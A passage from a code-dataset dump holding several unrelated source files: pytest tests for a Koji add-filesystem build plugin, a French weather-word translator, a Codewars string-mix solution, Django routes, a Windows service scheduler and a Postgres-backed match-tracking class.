session.should_receive('downloadTaskOutput').and_return('tarball-contents')\n else:\n session.should_receive('downloadTaskOutput').never()\n session.should_receive('krb_login').and_return(True)\n\n if throws_build_cancelled:\n task_watcher = flexmock(koji_util.TaskWatcher)\n\n task_watcher.should_receive('wait').and_raise(BuildCanceledException)\n task_watcher.should_receive('failed').and_return(True)\n\n cancel_mock_chain = session.should_receive('cancelTask').\\\n with_args(FILESYSTEM_TASK_ID).once()\n\n if error_on_build_cancelled:\n cancel_mock_chain.and_raise(Exception(\"foo\"))\n\n (flexmock(koji)\n .should_receive('ClientSession')\n .once()\n .and_return(session))\n\n\ndef mock_image_build_file(tmpdir, contents=None):\n file_path = os.path.join(tmpdir, 'image-build.conf')\n\n if contents is None:\n contents = dedent(\"\"\"\\\n [image-build]\n name = fedora-23\n version = 1.0\n install_tree = http://install-tree.com/$arch/fedora23/\n\n format = docker\n distro = Fedora-23\n repo = http://repo.com/fedora/$arch/os/\n\n ksurl = git+http://ksrul.com/git/spin-kickstarts.git?fedora23#b232f73e\n ksversion = FEDORA23\n kickstart = fedora-23.ks\n\n [factory-parameters]\n create_docker_metadata = False\n\n [ova-options]\n ova_option_1 = ova_option_1_value\n \"\"\")\n\n with open(file_path, 'w') as f:\n f.write(dedent(contents))\n f.flush()\n\n return file_path\n\n\ndef mock_workflow(tmpdir, dockerfile=DEFAULT_DOCKERFILE,\n scratch=False, for_orchestrator=False):\n workflow = DockerBuildWorkflow(source=MOCK_SOURCE)\n workflow.user_params['scratch'] = scratch\n mock_source = MockSource(tmpdir)\n df = df_parser(str(tmpdir))\n df.content = dockerfile\n setattr(workflow, 'builder', X(df.parent_images))\n workflow.builder.source = mock_source\n flexmock(workflow, source=mock_source)\n\n setattr(workflow.builder, 'df_path', df.dockerfile_path)\n mock_get_retry_session()\n\n if for_orchestrator:\n workflow.buildstep_plugins_conf = [{'name': PLUGIN_BUILD_ORCHESTRATE_KEY}]\n\n return workflow\n\n\ndef create_plugin_instance(tmpdir, kwargs=None, scratch=False, # noqa\n architectures=None, koji_target=KOJI_TARGET,\n dockerfile=DEFAULT_DOCKERFILE):\n tasker = flexmock()\n workflow = mock_workflow(tmpdir, dockerfile=dockerfile, scratch=scratch)\n\n if architectures:\n workflow.prebuild_results[PLUGIN_CHECK_AND_SET_PLATFORMS_KEY] = set(architectures)\n\n if kwargs is None:\n kwargs = {}\n\n make_and_store_reactor_config_map(workflow, {'root_url': kwargs.get('url', '')})\n\n return AddFilesystemPlugin(tasker, workflow, koji_target=koji_target, **kwargs)\n\n\ndef make_and_store_reactor_config_map(workflow, additional_koji=None):\n workflow.plugin_workspace[ReactorConfigPlugin.key] = {}\n\n reactor_map = {\n 'version': 1,\n 'koji': {'hub_url': KOJI_HUB}\n }\n if additional_koji:\n reactor_map['koji'].update(additional_koji)\n\n workflow.plugin_workspace[ReactorConfigPlugin.key] = {\n WORKSPACE_CONF_KEY: ReactorConfig(reactor_map)\n }\n\n\n@pytest.mark.parametrize('scratch', [True, False])\ndef test_add_filesystem_plugin_generated(tmpdir, docker_tasker, scratch):\n if MOCK:\n mock_docker()\n\n workflow = mock_workflow(tmpdir, scratch=scratch)\n task_id = FILESYSTEM_TASK_ID\n mock_koji_session(scratch=scratch)\n mock_image_build_file(str(tmpdir))\n\n make_and_store_reactor_config_map(workflow, {'root_url': '', 'auth': {}})\n\n runner = PreBuildPluginsRunner(\n docker_tasker,\n workflow,\n [{\n 'name': PLUGIN_ADD_FILESYSTEM_KEY,\n 'args': {\n 'from_task_id': task_id,\n 'architecture': 'x86_64'\n }\n }]\n )\n\n expected_results = {\n 'base-image-id': IMPORTED_IMAGE_ID,\n 'filesystem-koji-task-id': FILESYSTEM_TASK_ID,\n }\n results = runner.run()\n plugin_result = results[PLUGIN_ADD_FILESYSTEM_KEY]\n assert 'base-image-id' in plugin_result\n assert 'filesystem-koji-task-id' in plugin_result\n assert plugin_result == expected_results\n assert workflow.labels['filesystem-koji-task-id'] == FILESYSTEM_TASK_ID\n\n\n@pytest.mark.parametrize('scratch', [True, False])\ndef test_add_filesystem_plugin_legacy(tmpdir, docker_tasker, scratch):\n if MOCK:\n mock_docker()\n\n workflow = mock_workflow(tmpdir, scratch=scratch)\n mock_koji_session(scratch=scratch)\n mock_image_build_file(str(tmpdir))\n\n make_and_store_reactor_config_map(workflow, {'root_url': '', 'auth': {}})\n\n runner = PreBuildPluginsRunner(\n docker_tasker,\n workflow,\n [{\n 'name': PLUGIN_ADD_FILESYSTEM_KEY,\n 'args': {}\n }]\n )\n\n results = runner.run()\n plugin_result = results[PLUGIN_ADD_FILESYSTEM_KEY]\n assert 'base-image-id' in plugin_result\n assert plugin_result['base-image-id'] == IMPORTED_IMAGE_ID\n assert 'filesystem-koji-task-id' in plugin_result\n\n\n@pytest.mark.parametrize(('base_image', 'type_match'), [\n ('koji/image-build', True),\n ('KoJi/ImAgE-bUiLd \\n', True),\n ('spam/bacon', False),\n ('SpAm/BaCon \\n', False),\n])\ndef test_base_image_type(tmpdir, base_image, type_match):\n plugin = create_plugin_instance(tmpdir)\n assert plugin.is_image_build_type(base_image) == type_match\n\n\ndef test_image_build_file_parse(tmpdir): # noqa\n plugin = create_plugin_instance(tmpdir)\n file_name = mock_image_build_file(str(tmpdir))\n image_name, config, opts = plugin.parse_image_build_config(file_name)\n assert image_name == 'fedora-23'\n assert config == [\n 'fedora-23',\n '1.0',\n ['x86_64'],\n 'guest-fedora-23-docker',\n 'http://install-tree.com/$arch/fedora23/'\n ]\n assert opts['opts'] == {\n 'disk_size': 10,\n 'distro': 'Fedora-23',\n 'factory_parameter': [('create_docker_metadata', 'False')],\n 'ova_option': ['ova_option_1=ova_option_1_value'],\n 'format': ['docker'],\n 'kickstart': 'fedora-23.ks',\n 'ksurl': 'git+http://ksrul.com/git/spin-kickstarts.git?fedora23#b232f73e',\n 'ksversion': 'FEDORA23',\n 'repo': ['http://repo.com/fedora/$arch/os/'],\n }\n\n\ndef test_missing_yum_repourls(tmpdir): # noqa\n plugin = create_plugin_instance(tmpdir, {'repos': None})\n image_build_conf = dedent(\"\"\"\\\n [image-build]\n version = 1.0\n\n distro = Fedora-23\n\n ksversion = FEDORA23\n \"\"\")\n\n file_name = mock_image_build_file(str(tmpdir), contents=image_build_conf)\n with pytest.raises(ValueError) as exc:\n plugin.parse_image_build_config(file_name)\n assert 'install_tree cannot be empty' in str(exc.value)\n\n\n@pytest.mark.parametrize(('build_cancel', 'error_during_cancel'), [\n (True, False),\n (True, True),\n (False, False),\n])\n@pytest.mark.parametrize('raise_error', [True, False])\ndef test_image_task_failure(tmpdir, build_cancel, error_during_cancel,\n raise_error, caplog, docker_tasker):\n if MOCK:\n mock_docker()\n\n task_result = 'task-result'\n\n def _mockGetTaskResult(task_id):\n if raise_error:\n raise RuntimeError(task_result)\n return task_result\n workflow = mock_workflow(tmpdir)\n mock_koji_session(image_task_fail=True,\n throws_build_cancelled=build_cancel,\n error_on_build_cancelled=error_during_cancel,\n get_task_result_mock=_mockGetTaskResult)\n mock_image_build_file(str(tmpdir))\n\n make_and_store_reactor_config_map(workflow, {'root_url': '', 'auth': {}})\n\n runner = PreBuildPluginsRunner(\n docker_tasker,\n workflow,\n [{\n 'name': PLUGIN_ADD_FILESYSTEM_KEY,\n 'args': {'architectures': ['x86_64']}\n }]\n )\n\n with caplog.at_level(logging.INFO,\n logger='atomic_reactor'), pytest.raises(PluginFailedException) as exc:\n runner.run()\n\n assert task_result in str(exc.value)\n # Also ensure getTaskResult exception message is wrapped properly\n assert 'image task,' in str(exc.value)\n\n if build_cancel:\n msg = \"Build was canceled, canceling task %s\" % FILESYSTEM_TASK_ID\n assert msg in [x.message for x in caplog.records]\n\n if error_during_cancel:\n # We're checking last but one message, as the last one is\n # 'plugin 'add_filesystem' raised an exception'\n assert \"Exception while canceling a task (ignored): Exception: \"\\\n in caplog.records[-2].message\n else:\n msg = \"task %s canceled\" % FILESYSTEM_TASK_ID\n assert msg in [x.message for x in caplog.records]\n\n\n# with a task_id is the new standard, None is legacy-mode support\n@pytest.mark.parametrize('task_id', [FILESYSTEM_TASK_ID, None])\n@pytest.mark.parametrize(('resolve_compose', 'yum_repos'), [\n (None, None),\n ({'composes': [{'result_repofile': 'http://odcs-compose.com/compose1.repo'}]},\n ['http://odcs-compose.com/$arch/compose1.repo']),\n ({'composes': [{'result_repofile': 'http://odcs-compose.com/compose1.repo'},\n {'result_repofile': 'http://odcs-compose.com/compose2.repo'}]},\n ['http://odcs-compose.com/$arch/compose1.repo',\n 'http://odcs-compose.com/$arch/compose2.repo']),\n])\n@responses.activate\ndef test_image_build_defaults(tmpdir, task_id, resolve_compose, yum_repos):\n repos = [\n 'http://install-tree.com/fedora23.repo',\n 'http://repo.com/fedora/os',\n ]\n responses.add(responses.GET, 'http://install-tree.com/fedora23.repo',\n body=dedent(\"\"\"\\\n [fedora-23]\n baseurl = http://install-tree.com/$basearch/fedora23\n \"\"\"))\n responses.add(responses.GET, 'http://repo.com/fedora/os',\n body=dedent(\"\"\"\\\n [fedora-os]\n baseurl = http://repo.com/fedora/$basearch/os\n\n [fedora-os2]\n baseurl = http://repo.com/fedora/$basearch/os2\n \"\"\"))\n responses.add(responses.GET, 'http://odcs-compose.com/compose1.repo',\n body=dedent(\"\"\"\\\n [compose1]\n baseurl = http://odcs-compose.com/$basearch/compose1.repo\n \"\"\"))\n responses.add(responses.GET, 'http://odcs-compose.com/compose2.repo',\n body=dedent(\"\"\"\\\n [compose2]\n baseurl = http://odcs-compose.com/$basearch/compose2.repo\n \"\"\"))\n plugin = create_plugin_instance(tmpdir, {'repos': repos, 'from_task_id': task_id})\n if resolve_compose:\n plugin.workflow.prebuild_results[PLUGIN_RESOLVE_COMPOSES_KEY] = resolve_compose\n\n image_build_conf = dedent(\"\"\"\\\n [image-build]\n version = 1.0\n\n distro = Fedora-23\n\n ksversion = FEDORA23\n \"\"\")\n\n file_name = mock_image_build_file(str(tmpdir), contents=image_build_conf)\n plugin.update_repos_from_composes()\n image_name, config, opts = plugin.parse_image_build_config(file_name)\n assert image_name == 'default-name'\n assert config == [\n 'default-name',\n '1.0',\n ['x86_64'],\n 'guest-fedora-23-docker',\n 'http://install-tree.com/$arch/fedora23',\n ]\n\n all_repos = ['http://install-tree.com/$arch/fedora23',\n 'http://repo.com/fedora/$arch/os',\n 'http://repo.com/fedora/$arch/os2']\n if resolve_compose:\n all_repos.extend(yum_repos)\n\n assert opts['opts'] == {\n 'disk_size': 10,\n 'distro': 'Fedora-23',\n 'factory_parameter': [('create_docker_metadata', 'False')],\n 'format': ['docker'],\n 'kickstart': 'kickstart.ks',\n 'ksurl': '{}#{}'.format(DOCKERFILE_GIT, DOCKERFILE_SHA1),\n 'ksversion': 'FEDORA23',\n 'repo': all_repos,\n }\n\n\ndef test_image_build_dockerfile_defaults(tmpdir):\n \"\"\"Test if default name and version are taken from the Dockerfile\"\"\"\n image_build_conf = dedent(\"\"\"\\\n [image-build]\n\n # name and version intentionally omitted for purpose of this test\n\n install_tree = http://install-tree.com/$arch/fedora23/\n\n format = docker\n distro = Fedora-23\n repo = http://repo.com/fedora/$arch/os/\n\n ksurl = git+http://ksrul.com/git/spin-kickstarts.git?fedora23#b232f73e\n ksversion = FEDORA23\n kickstart = fedora-23.ks\n \"\"\")\n plugin = create_plugin_instance(tmpdir, dockerfile=DOCKERFILE_WITH_LABELS)\n file_name = mock_image_build_file(str(tmpdir), contents=image_build_conf)\n image_name, config, _ = plugin.parse_image_build_config(file_name)\n assert image_name == 'testproject' # from Dockerfile\n assert config == [\n 'testproject', # from Dockerfile\n '8.0', # from Dockerfile\n ['x86_64'],\n 'guest-fedora-23-docker',\n 'http://install-tree.com/$arch/fedora23/'\n ]\n\n\n@pytest.mark.parametrize(('architectures', 'architecture'), [\n (None, None),\n (['x86_64', 'aarch64', 'ppc64le'], None),\n (None, 'x86_64'),\n])\n@responses.activate\ndef test_image_build_overwrites(tmpdir, architectures, architecture):\n repos = [\n 'http://default-install-tree.com/fedora23',\n 'http://default-repo.com/fedora/os.repo',\n ]\n responses.add(responses.GET, 'http://default-install-tree.com/fedora23',\n body=dedent(\"\"\"\\\n [fedora-23]\n baseurl = http://default-install-tree.com/$basearch/fedora23\n \"\"\"))\n responses.add(responses.GET, 'http://default-repo.com/fedora/os.repo',\n body=dedent(\"\"\"\\\n [fedora-os]\n baseurl = http://default-repo.com/fedora/$basearch/os.repo\n \"\"\"))\n plugin = create_plugin_instance(tmpdir, {\n 'repos': repos,\n 'architecture': architecture\n }, architectures=architectures)\n image_build_conf = dedent(\"\"\"\\\n [image-build]\n name = my-name\n version = 1.0\n arches = i386,i486\n target = guest-fedora-23-docker-candidate\n install_tree = http://install-tree.com/$arch/fedora23/\n format = locker,mocker\n disk_size = 20\n\n distro = Fedora-23\n repo = http://install-tree.com/$arch/fedora23/,http://repo.com/fedora/$arch/os/\n\n ksurl = http://ksurl#123\n kickstart = my-kickstart.ks\n ksversion = FEDORA23\n\n [factory-parameters]\n create_docker_metadata = Maybe\n \"\"\")\n\n file_name = mock_image_build_file(str(tmpdir), contents=image_build_conf)\n image_name, config, opts = plugin.parse_image_build_config(file_name)\n assert image_name == 'my-name'\n if architectures:\n config_arch = architectures\n elif architecture:\n config_arch = [architecture]\n else:\n config_arch = ['i386', 'i486']\n\n # Sort architectures for comparsion\n config[2] = sorted(config[2])\n assert config == [\n 'my-name',\n '1.0',\n sorted(config_arch),\n 'guest-fedora-23-docker-candidate',\n 'http://install-tree.com/$arch/fedora23/',\n ]\n assert opts['opts'] == {\n 'disk_size': 20,\n 'distro': 'Fedora-23',\n 'factory_parameter': [('create_docker_metadata', 'Maybe')],\n 'format': ['locker', 'mocker'],\n 'kickstart': 'my-kickstart.ks',\n 'ksurl': 'http://ksurl#123',\n 'ksversion': 'FEDORA23',\n 'repo': [\n 'http://install-tree.com/$arch/fedora23/',\n 'http://repo.com/fedora/$arch/os/',\n ],\n }\n\n\n@responses.activate\ndef test_extract_base_url_many_base_urls(tmpdir): # noqa\n repos = [\n 'http://default-install-tree.com/fedora23',\n 'http://default-repo.com/fedora/os.repo',\n ]\n architectures = 'x86_64'\n responses.add(responses.GET, 'http://default-install-tree.com/fedora23',\n body=dedent(\"\"\"\\\n [fedora-23]\n baseurl = http://default-install-tree.com/$basearch/fedora23\n [fedora-os]\n baseurl = http://default-repo.com/fedora/$basearch/os.repo\n [fedora-nonsense]\n notaurl = http://default-repo.com/fedora/$basearch/os.repo\n \"\"\"))\n responses.add(responses.GET, 'http://default-repo.com/fedora/os.repo',\n body=dedent(\"\"\"\\\n [fedora-os]\n baseurl = http://default-repo.com/fedora/$basearch/os.repo\n [fedora-23]\n baseurl = http://default-install-tree.com/$basearch/fedora23\n \"\"\"))\n expected_base_urls = [\n \"http://default-install-tree.com/$basearch/fedora23\",\n \"http://default-repo.com/fedora/$basearch/os.repo\"\n ]\n plugin = create_plugin_instance(tmpdir, {\n 'repos': repos,\n 'architecture': None\n }, architectures=architectures)\n for repo_url in repos:\n assert sorted(plugin.extract_base_url(repo_url)) == sorted(expected_base_urls)\n\n\n@responses.activate\ndef test_extract_base_url_bad_repo_config(tmpdir): # noqa\n repos = [\n 'http://default-install-tree.com/fedora23',\n 'http://default-repo.com/fedora/os.repo',\n ]\n architectures = 'x86_64'\n responses.add(responses.GET, 'http://default-install-tree.com/fedora23',\n body=\"This is not right\")\n responses.add(responses.GET, 'http://default-repo.com/fedora/os.repo',\n body=\"Its not even wrong\")\n plugin = create_plugin_instance(tmpdir, {\n 'repos': repos,\n 'architecture': None\n }, architectures=architectures)\n for repo_url in repos:\n assert plugin.extract_base_url(repo_url) == []\n\n\ndef test_build_filesystem_missing_conf(tmpdir): # noqa\n plugin = create_plugin_instance(tmpdir)\n with pytest.raises(RuntimeError) as exc:\n plugin.build_filesystem('image-build.conf')\n assert 'Image build configuration file not found' in str(exc.value)\n\n\n@pytest.mark.parametrize(('prefix', 'architecture', 'suffix'), [\n ('fedora-23-spam-', None, '.tar'),\n ('fedora-23-spam-', 'x86_64', '.tar.gz'),\n ('fedora-23-spam-', 'aarch64', '.tar.bz2'),\n ('fedora-23-spam-', None, '.tar.xz'),\n])\ndef test_build_filesystem_from_task_id(tmpdir, prefix, architecture, suffix):\n task_id = 987654321\n pattern = '{}{}{}'.format(prefix, architecture, suffix)\n plugin = create_plugin_instance(tmpdir, {\n 'from_task_id': task_id,\n 'architecture': architecture,\n })\n plugin.session = flexmock()\n mock_image_build_file(str(tmpdir))\n task_id, filesystem_regex = plugin.build_filesystem('image-build.conf')\n assert task_id == task_id\n match = filesystem_regex.match(pattern)\n assert match is not None\n assert match.group(0) == pattern\n\n\n@pytest.mark.parametrize(('parents', 'skip_plugin'), [\n (('koji/image-build',), False),\n (('non-custom-image',), True),\n (('scratch', 'non-custom-image'), True),\n (('non-custom-image', 'koji/image-build'), False),\n (('non-custom-image', 'koji/image-build', 'non-custom-image'), False),\n (('non-custom-image', 'koji/image-build:wont_be_used', 'koji/image-build', 'non-custom-image'),\n False),\n])\n@pytest.mark.parametrize(('architecture', 'architectures', 'download_filesystem'), [\n ('x86_64', None, True),\n (None, ['x86_64'], False),\n ('x86_64', ['x86_64', 'aarch64'], False),\n (None, None, True),\n])\ndef test_image_download(tmpdir, docker_tasker, parents, skip_plugin, architecture,\n architectures, download_filesystem, caplog):\n if MOCK:\n mock_docker()\n\n workflow = mock_workflow(tmpdir, for_orchestrator=architectures is not None)\n workflow.builder.dockerfile_images = DockerfileImages(parents)\n if not skip_plugin:\n mock_koji_session(download_filesystem=download_filesystem)\n mock_image_build_file(str(tmpdir))\n\n if architectures:\n workflow.prebuild_results[PLUGIN_CHECK_AND_SET_PLATFORMS_KEY] = set(architectures)\n\n make_and_store_reactor_config_map(workflow, {'root_url': '', 'auth': {}})\n\n runner = PreBuildPluginsRunner(\n docker_tasker,\n workflow,\n [{\n 'name': PLUGIN_ADD_FILESYSTEM_KEY,\n 'args': {\n 'architecture': architecture,\n }\n }]\n )\n\n results = runner.run()\n plugin_result = results[PLUGIN_ADD_FILESYSTEM_KEY]\n\n if skip_plugin:\n message = 'Nothing to do for non-custom base images'\n assert message in caplog.text\n assert plugin_result is None\n return\n\n assert 'base-image-id' in plugin_result\n assert 'filesystem-koji-task-id' in plugin_result\n\n if download_filesystem:\n assert plugin_result['base-image-id'] == IMPORTED_IMAGE_ID\n assert plugin_result['filesystem-koji-task-id'] == FILESYSTEM_TASK_ID\n else:\n assert plugin_result['base-image-id'] is None\n assert plugin_result['filesystem-koji-task-id'] is None\n\n\n@pytest.mark.parametrize(('koji_target'), [None, '', 'guest-fedora-23-docker'])\n@responses.activate\ndef test_image_build_overwrites_target(tmpdir, koji_target):\n plugin = create_plugin_instance(tmpdir, koji_target=koji_target)\n image_build_conf = dedent(\"\"\"\\\n [image-build]\n name = my-name\n target = guest-fedora-23-docker-candidate\n version = 1.0\n install_tree = http://install-tree.com/$arch/fedora23/\n \"\"\")\n\n file_name = mock_image_build_file(str(tmpdir), contents=image_build_conf)\n _, config, _ = plugin.parse_image_build_config(file_name)\n assert config == [\n 'my-name',\n '1.0',\n ['x86_64'],\n 'guest-fedora-23-docker-candidate',\n 'http://install-tree.com/$arch/fedora23/'\n ]\n\n\ndef test_no_target_set(tmpdir):\n plugin = create_plugin_instance(tmpdir, koji_target='')\n image_build_conf = dedent(\"\"\"\\\n [image-build]\n name = my-name\n version = 1.0\n install_tree = http://install-tree.com/$arch/fedora23/\n \"\"\")\n\n file_name = mock_image_build_file(str(tmpdir), contents=image_build_conf)\n with pytest.raises(ValueError) as exc:\n plugin.parse_image_build_config(file_name)\n assert 'target cannot be empty' in str(exc.value)\n","sub_path":"tests/plugins/test_add_filesystem.py","file_name":"test_add_filesystem.py","file_ext":"py","file_size_in_byte":26534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"103909514","text":"# -*- coding: utf-8 -*-\n\nimport nltk\nfrom nltk.tokenize import word_tokenize\n\ndef parseMot(messageUser):\n try:\n nltk.data.find('tokenizers/punkt')\n except LookupError:\n print(\"Tokenizer punkt non trouvé. Téléchargement en cours...\")\n nltk.download('punkt')\n a = word_tokenize(messageUser, language='french')\n\n return a\n\ndef translateMeteo(meteoText):\n l = parseMot(meteoText)\n reponse = \"\"\n for mot in l:\n if(mot == \"Sunny\"):\n reponse += \"Ensoleillée \"\n elif(mot == \"Cloudy\"):\n reponse += \"Nuageuse \"\n elif(mot == \"Partly\"):\n reponse += \"Partiellement \"\n elif(mot == \"Mostly\"):\n reponse += \"Plutôt \"\n elif(mot == \"Clear\"):\n reponse += \"Dégagée \"\n elif(mot == \"Showers\"):\n reponse += \"Pluvieuse \"\n elif(mot == \"Snowy\"):\n reponse += \"Enneigée \"\n elif(mot == \"Scattered\"):\n reponse += \"Légèrement \"\n elif(mot == \"Rain\"):\n \treponse += \"Pluvieuse \"\n else:\n print(\"Traduction non complète. Mot = \" + mot)\n return meteoText\n return reponse\n\n","sub_path":"src/analysePhrase.py","file_name":"analysePhrase.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"395461373","text":"\"\"\"\nGiven two strings s1 and s2, we want to visualize how different the two strings are. We will only take into account the\nlowercase letters (a to z). First let us count the frequency of each lowercase letters in s1 and s2.\n\ns1 = \"A aaaa bb c\"\n\ns2 = \"& aaa bbb c d\"\n\ns1 has 4 'a', 2 'b', 1 'c'\n\ns2 has 3 'a', 3 'b', 1 'c', 1 'd'\n\nSo the maximum for 'a' in s1 and s2 is 4 from s1; the maximum for 'b' is 3 from s2. In the following we will not\nconsider letters when the maximum of their occurrences is less than or equal to 1.\n\nWe can resume the differences between s1 and s2 in the following string: \"1:aaaa/2:bbb\" where 1 in 1:aaaa stands for\nstring s1 and aaaa because the maximum for a is 4. In the same manner 2:bbb stands for string s2 and bbb because the\nmaximum for b is 3.\n\nThe task is to produce a string in which each lowercase letters of s1 or s2 appears as many times as its maximum if this\nmaximum is strictly greater than 1; these letters will be prefixed by the number of the string where they appear with\ntheir maximum value and :. If the maximum is in s1 as well as in s2 the prefix is =:.\n\nIn the result, substrings (a substring is for example 2:nnnnn or 1:hhh; it contains the prefix) will be in decreasing\norder of their length and when they have the same length sorted in ascending lexicographic order (letters and digits -\nmore precisely sorted by codepoint); the different groups will be separated by '/'. See examples and \"Example Tests\".\n\"\"\"\n\n\ndef mix(s1, s2):\n s1, s2, s3 = s1.lower(), s2.lower(), []\n\n one = list({(x, s1.count(x)) for x in s1 if x.isalpha() and s1.count(x) > 1})\n two = list({(x, s2.count(x)) for x in s2 if x.isalpha() and s2.count(x) > 1})\n\n d1, d2, d3, d4 = to_dict(one), to_dict(two), to_dict(one+two), {}\n\n for key, val in d3.items():\n if val in d4:\n d4[val] = d4[val] + [key]\n else:\n d4[val] = [key]\n\n for key in sorted(d4.keys(), reverse=True):\n gp1, gp2, gp3 = [], [], []\n for val in sorted(d4[key]):\n if val in d1 and val in d2 and d1[val] == key and d2[val] == key:\n gp3.append(val*key)\n elif val in d1 and d1[val] == key:\n gp1.append(val*key)\n else:\n gp2.append(val*key)\n s3.append('/'.join(['2:' + x for x in gp2]+['1:' + x for x in gp1]+['=:' + x for x in gp3]))\n return '/'.join(s3)\n\n\ndef to_dict(l):\n d = {}\n for el in l:\n d[el[0]] = max(el[1], d.get(el[0], 0))\n return d\n\nprint(mix(\"Are they here\", \"yes, they are here\"))\n# mix(\"A aaaa bb c\", \"& aaa bbb c d\")\n","sub_path":"codewars/strings_mix.py","file_name":"strings_mix.py","file_ext":"py","file_size_in_byte":2593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"340484893","text":"from django.urls import path\nfrom .views import Home_view, Booking_view, New_Amenities_view, all_user_view, contact_user_view, show_feedback_view\napp_name = 'Admin'\n\nurlpatterns = [\n path('', Home_view, name=\"home\"),\n path('all_user/', all_user_view, name=\"all_user\"),\n path('booking/', Booking_view, name=\"all_booking\"),\n path('contact_details/', contact_user_view, name=\"contact_details\"),\n path('add_amenitie/', New_Amenities_view, name=\"new_amenitie\"),\n path('show_feedback/', show_feedback_view, name=\"feedback_details\"),\n\n]\n","sub_path":"Admin/Home/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"298120373","text":"import time\nimport schedule\nimport daily_data\n\nimport socket\nimport win32serviceutil\nimport servicemanager\nimport win32event\nimport win32service\n\n\nclass SMWinservice(win32serviceutil.ServiceFramework):\n '''Base class to create winservice in Python'''\n _svc_name_ = 'pyDaily Data Service'\n _svc_display_name_ = 'Python Daily Data'\n _svc_description_ = 'Get data from fireant by python'\n\n @classmethod\n def parse_command_line(cls):\n '''\n ClassMethod to parse the command line\n '''\n win32serviceutil.HandleCommandLine(cls)\n\n def __init__(self, args):\n '''\n Constructor of the winservice\n '''\n win32serviceutil.ServiceFramework.__init__(self, args)\n self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)\n socket.setdefaulttimeout(60)\n\n def SvcStop(self):\n '''\n Called when the service is asked to stop\n '''\n self.stop()\n self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)\n win32event.SetEvent(self.hWaitStop)\n\n def SvcDoRun(self):\n '''\n Called when the service is asked to start\n '''\n self.start()\n servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE,\n servicemanager.PYS_SERVICE_STARTED,\n (self._svc_name_, ''))\n self.main()\n\n def start(self):\n '''\n Override to add logic before the start\n eg. running condition\n '''\n\n def stop(self):\n '''\n Override to add logic before the stop\n eg. invalidating running condition\n '''\n\n\n def main(self):\n # daily_data.run()\n schedule.every().day.at(\"17:00\").do(daily_data.run)\n while True:\n schedule.run_pending()\n time.sleep(1)\n\n\n\nif __name__ == '__main__':\n SMWinservice.parse_command_line()\n\n","sub_path":"run_daily_data.py","file_name":"run_daily_data.py","file_ext":"py","file_size_in_byte":1901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"584863874","text":"import postgresql\nimport utils.env as env\nimport utils.const as c\nfrom entities.Language import Language\n\n\nclass Match:\n\n database = postgresql.open(env.DATABASE)\n get_data = database.prepare(\"SELECT id, lang_id, created_at, processed, count FROM matches WHERE match = $1\")\n get_row_by_match = database.prepare(\"SELECT id, lang_id, created_at, processed, count FROM matches WHERE match = $1\")\n get_match_count = database.prepare(\"SELECT COUNT(1) FROM matches\")\n insert = database.prepare(\"INSERT INTO matches(match, lang_id, count, processed) VALUES ($1, $2, $3, $4)\")\n update_processed = database.prepare(\"UPDATE matches SET processed = $1 WHERE id = $2\")\n update_count = database.prepare(\"UPDATE matches SET count = $1 WHERE id = $2\")\n\n def __init__(self, match=None):\n if match is None:\n self.match_id = 0\n self.processed = 0\n self.created_at = None\n self.count = None\n if self.get_match_count()[0][0] == 0:\n language = Language()\n self.current = list(language.words)[0] * language.size\n self.lang_id = language.lang_id\n else:\n self.current = self.get_next_match()\n self.lang_id = Language.get_language_for_match(self.current).lang_id\n else:\n self.current = match\n self.match_id, self.lang_id, self.created_at, self.processed, self.count = self.get_data(match)[0]\n\n def get_count(self):\n return int(self.count) if self.count is not None else None\n\n def save(self):\n if self.match_id == 0:\n self.insert(self.current, self.lang_id, self.count, self.processed)\n else:\n self.update_processed(self.processed, self.match_id)\n self.update_count(self.count, self.match_id)\n\n def get_next_match(self):\n get_last_match = self.database.prepare(\"SELECT match FROM matches ORDER BY created_at DESC LIMIT 1\")\n last_match = get_last_match()\n match = Match(last_match[0][0]) if len(last_match) > 0 else Match()\n\n if match.processed < c.LIMIT:\n return match.current\n\n lang = Language.get_language_for_match(match.current)\n size = lang.size\n alphabet = lang.words\n languages = Language.get_languages()\n\n if size == 1:\n # непоследний символ в текущем алфавите\n if alphabet.index(match.current) < len(alphabet) - 1:\n return alphabet[alphabet.index(match.current) + 1]\n\n # последний символ в непоследнем алфавите\n elif alphabet.index(match.current) == len(alphabet) - 1 and languages.index(lang) + 1 < len(languages):\n lang = Language.get_next_language(lang)\n size = lang.size\n alphabet = lang.words\n\n # возвращаем первый символ в количестве размерности языка\n return alphabet[0] * size\n\n if size == 2:\n s1, s2 = list(match.current)\n\n # непоследний возможный s2 в текущем алфавите\n if alphabet.index(s2) < len(alphabet) - 1:\n return s1 + alphabet[alphabet.index(s2) + 1]\n\n # непоследний возможный s1 и последний s2 в текущем алфавите\n if alphabet.index(s1) < len(alphabet) - 1:\n return alphabet[alphabet.index(s1) + 1] + alphabet[0]\n\n # последний символ в непоследнем алфавите\n if alphabet.index(s1) == len(alphabet) - 1 == alphabet.index(s2) \\\n and len(languages) - 1 > languages.index(lang):\n lang = Language.get_next_language(lang)\n size = lang.size\n alphabet = lang.words\n\n # возвращаем первый символ в количестве размерности языка\n return alphabet[0] * size\n\n if languages.index(lang) == len(languages) - 1:\n # print(\"All users are processed.\\nThe end.\")\n # exit()\n return None\n\n @staticmethod\n def is_match_exists(match):\n statement = postgresql.open(env.DATABASE).prepare(\"SELECT 1 FROM matches WHERE match = $1\")\n return True if len(statement(match)) > 0 else False\n","sub_path":"entities/Match.py","file_name":"Match.py","file_ext":"py","file_size_in_byte":4480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"480165788","text":"# *-* coding:utf8 -*-\n\"\"\"\ngestion des comptes bancaires\nun compte avec un numéro et un solde\n\"\"\"\n\n\nclass Compte(object):\n\n def __init__(self, numero=None):\n \"\"\"constructeur : initialiser un 